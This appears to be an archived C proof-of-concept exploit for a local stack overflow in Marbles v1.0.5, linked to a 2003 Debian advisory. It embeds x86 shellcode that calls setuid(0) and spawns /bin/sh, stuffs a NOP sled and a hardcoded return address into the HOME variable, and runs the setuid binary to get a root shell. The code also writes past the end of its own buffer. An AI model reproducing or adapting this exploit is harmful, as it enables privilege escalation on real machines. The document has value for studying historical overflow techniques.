home *** CD-ROM | disk | FTP | other *** search
- /* c-marbles.c
- *
- * PoC exploit made for advisory based uppon an local stack based overflow.
- * Vulnerable versions, maybe also prior versions:
- *
- * Marbles v1.0.5
- *
- * Tested on: Redhat 9.0
- *
- * Advisory source: Steve Kemp
- * http://www.debian.org/security/2003/dsa-390
- *
- * ---------------------------------------------
- * coded by: demz (c-code.net) (demz@c-code.net)
- * ---------------------------------------------
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- char shellcode[]=
-
- "\x31\xc0" // xor eax, eax
- "\x31\xdb" // xor ebx, ebx
- "\x31\xc9" // xor ecx, ecx
- "\xb0\x46" // mov al, 70
- "\xcd\x80" // int 0x80
-
- "\x31\xc0" // xor eax, eax
- "\x50" // push eax
- "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
- "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
- "\x89\xe3" // mov ebx, esp
- "\x50" // push eax
- "\x53" // push ebx
- "\x89\xe1" // mov ecx, esp
- "\x99" // cdq
- "\xb0\x0b" // mov al, 11
- "\xcd\x80" // int 0x80
-
- "\x31\xc0" // xor eax, eax
- "\xb0\x01" // mov al, 1
- "\xcd\x80"; // int 0x80
-
- int main()
- {
- unsigned long ret = 0xbffff70c;
-
- char buffer[3988];
- int i=0;
-
- memset(buffer, 0x90, sizeof(buffer));
-
- for (0; i < strlen(shellcode) - 1;i++)
- buffer[2000 + i] = shellcode[i];
-
- buffer[3988] = (ret & 0x000000ff);
- buffer[3989] = (ret & 0x0000ff00) >> 8;
- buffer[3990] = (ret & 0x00ff0000) >> 16;
- buffer[3991] = (ret & 0xff000000) >> 24;
- buffer[3992] = 0x0;
-
- printf("\nMarbles v1.0.5 local exploit\n");
- printf("---------------------------------------- demz @ c-code.net --\n");
-
- setenv("HOME", buffer, 1);
-
- execl("/usr/local/bin/marbles", "marbles", NULL);
- }
-